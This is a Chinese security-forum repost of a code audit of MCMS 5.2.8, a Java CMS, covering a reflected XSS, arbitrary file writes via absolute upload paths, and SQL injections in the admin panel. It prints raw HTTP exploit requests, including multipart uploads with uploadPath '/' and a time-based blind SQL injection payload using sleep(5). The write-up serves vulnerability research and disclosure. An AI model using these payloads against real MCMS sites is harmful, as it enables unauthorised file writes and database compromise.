安全矩阵

 找回密码
 立即注册
搜索
查看: 867|回复: 0

MCMS 审计之路

[复制链接]

252

主题

252

帖子

1307

积分

金牌会员

Rank: 6Rank: 6

积分
1307
发表于 2022-10-11 21:42:57 | 显示全部楼层 |阅读模式
原文链接:MCMS 审计之路


MCMS 是 J2EE 系统,完整开源的Java CMS,基于SpringBoot 2架构,前端基于vue、element ui。为开发者提供上百套免费模板,同时提供适用的插件(文章、商城、微信、论坛、会员、评论、支付、积分、工作流、任务调度等...),一套简单好用的开源系统、一整套优质的开源生态内容体系。
十天前 MCMS 更新了新的一版本 5.2.9 提示新版本进行了 SQL 安全方面的优化,所以我们尝试 审计 MCMS 5.2.8
​编辑​

环境搭建
我们下载好安装包后
  •         利用 idea 打开项目
  •         创建数据库 mcms,导入 doc/mcms-5.2.8.sql
  •         修改 src/main/resources/application-dev.yml 中关于数据库设置参数
  •         运行MSApplication.java main方法
  •         利用账户名:密码  msopen:msopen 登录后台  http://localhost:8080/ms/login.do
  •         进入后台点击内容管理->静态化菜单 -> 生成主页、生成栏目、生成文章

启动的时候会有一点小 bug 需要在 idea 中配置
编辑
运行成功后,页面如图所示
编辑

前台反射型 XSS
漏洞复现

编辑
编辑
编辑
漏洞分析
我们看到运行后的控制台输出为
编辑
我们找到 net.mingsoft.basic.filter.XssHttpServletRequestWrapper 并添加断点,再次触发漏洞,看到一个完整的调用栈,
net.mingsoft.basic.filter.XssHttpServletRequestWrapper#clean(java.lang.String, java.lang.String)
编辑

后台命令执行一
漏洞复现
后台有一个可以上传模板文件的位置
编辑
我们上传文件并抓取数据包
编辑

我们看到数据包中的参数 uploadPath 指定了上传的位置,最后返回了上传后的路径以及文件内容
编辑
通过修改 参数 uploadPath 的值,我们就可以将文件上传 webapp 的任意目录下
我们写一个 1.txt 进行验证
POST /ms/file/uploadTemplate.do HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36Content-Length: 506Accept: */*Accept-Encoding: identityAccept-Language: zh-CN,zh;q=0.9Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3ACookie: Origin: http://localhost:8080Referer: http://localhost:8080/ms/template/list.do?template=1/defaultSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originsec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"------WebKitFormBoundaryz3nUf5Hws24R3B3AContent-Disposition: form-data; name="uploadPath"/------WebKitFormBoundaryz3nUf5Hws24R3B3AContent-Disposition: form-data; name="uploadFloderPath"true------WebKitFormBoundaryz3nUf5Hws24R3B3AContent-Disposition: form-data; name="rename"false------WebKitFormBoundaryz3nUf5Hws24R3B3AContent-Disposition: form-data; name="file"; filename="1.txt"Content-Type: text/htmltest------WebKitFormBoundaryz3nUf5Hws24R3B3A--
编辑
编辑
漏洞分析
通过路由 /ms/file/uploadTemplate 定位到代码位置
net.mingsoft.basic.action.ManageFileAction#uploadTemplate
编辑
我们看到虽然存在非法路径过滤函数,查看函数内容,仅仅是对 ../ 进行了校验,通过绝对路径仍然可以绕过
net.mingsoft.basic.action.ManageFileAction#checkUploadPath
编辑
net.mingsoft.basic.action.BaseFileAction#uploadTemplate
编辑
后台命令执行二
漏洞复现
我们看到除了上传模板的接口,还存在编辑模板的接口
编辑
点击编辑,编辑后保存并抓取数据包
原本的数据包
编辑
我们看到参数 fileName 通过绝对路径指定了文件名,所以我们可以通过修改 fileName 来实现绝对路径写入
编辑
编辑
漏洞分析
net.mingsoft.basic.action.TemplateAction#writeFileContent
编辑
我们看到对文件的后缀名进行了检验,但还是通过传入的参数  fileName 写入文件
后台命令执行三
漏洞复现
构造数据包
POST /ms/file/upload.do HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36Content-Length: 506Accept: */*Accept-Encoding: identityAccept-Language: zh-CN,zh;q=0.9Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3ACookie: Origin: http://localhost:8080Referer: http://localhost:8080/ms/template/list.do?template=1/defaultSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originsec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"------WebKitFormBoundaryz3nUf5Hws24R3B3AContent-Disposition: form-data; name="uploadPath"/------WebKitFormBoundaryz3nUf5Hws24R3B3AContent-Disposition: form-data; name="uploadFloderPath"true------WebKitFormBoundaryz3nUf5Hws24R3B3AContent-Disposition: form-data; name="rename"false------WebKitFormBoundaryz3nUf5Hws24R3B3AContent-Disposition: form-data; name="file"; filename="3.txt"Content-Type: text/htmltest------WebKitFormBoundaryz3nUf5Hws24R3B3A--
返回上传成功的文件的地址
编辑

漏洞分析这个漏洞是在第一个后台命令执行的基础上发现的,两个类位于同一个文件内
net.mingsoft.basic.action.ManageFileAction#upload
编辑
虽然存在非法路径过滤函数 checkUploadPath ,查看函数内容,仅仅是对 ../ 进行了校验,通过绝对路径仍然可以绕过
对文件的上传是利用了
net.mingsoft.basic.action.BaseFileAction#upload
编辑
存在很多过滤,但是还是可以成功上传文件
后台 SQL 注入漏洞
漏洞复现
构造数据包
GET /ms/mdiy/page/verify.do?fieldName=1;select/**/if(substring((select/**/database()),1,4)='mcms',sleep(5),1)/**/and/**/1&fieldValue=1&id=1&idName=1 HTTP/1.1Host: localhost:8080Accept: application/json, text/plain, */*Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cache-Control: no-cacheCookieragma: no-cacheReferer: http://localhost:8080/ms/model/index.do?Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36X-Requested-With: XMLHttpRequestsec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"token: null
编辑
发现成功使得服务器沉睡五秒
漏洞分析
net.mingsoft.mdiy.action.PageAction#verify
编辑
获取参数并传到方法 validated
net.mingsoft.basic.action.BaseAction#validated(java.lang.String, java.lang.String, java.lang.String)
编辑
将  fieldName 和 fieldValue 的传入到 where 参数中
net.mingsoft.base.biz.impl.BaseBizImpl#queryBySQL(java.lang.String, java.util.List, java.util.Map)
编辑

net.mingsoft.base.dao.IBaseDao#queryBySQL
编辑
因为是 mybits 所以未采用预编译的 ${  就容易产生注入
编辑

后台 SQL 注入二
漏洞复现登录后台后我们找到自定义模型的位置
编辑
根据代码生成器 生成一个自定义模型 json 并导入保存
点击删除时 抓取数据包
编辑
修改modelTableName
编辑
发现成功使得服务器沉睡五秒
漏洞分析net.mingsoft.mdiy.action.ModelAction#delete
编辑
net.mingsoft.base.biz.impl.BaseBizImpl#dropTable
编辑

net.mingsoft.base.dao.IBaseDao
编辑

编辑
查看dropTable对应的mapper内容如下,直接将table内容进行拼接且未预编译,造成SQL注入。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 20:09 , Processed in 0.015832 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表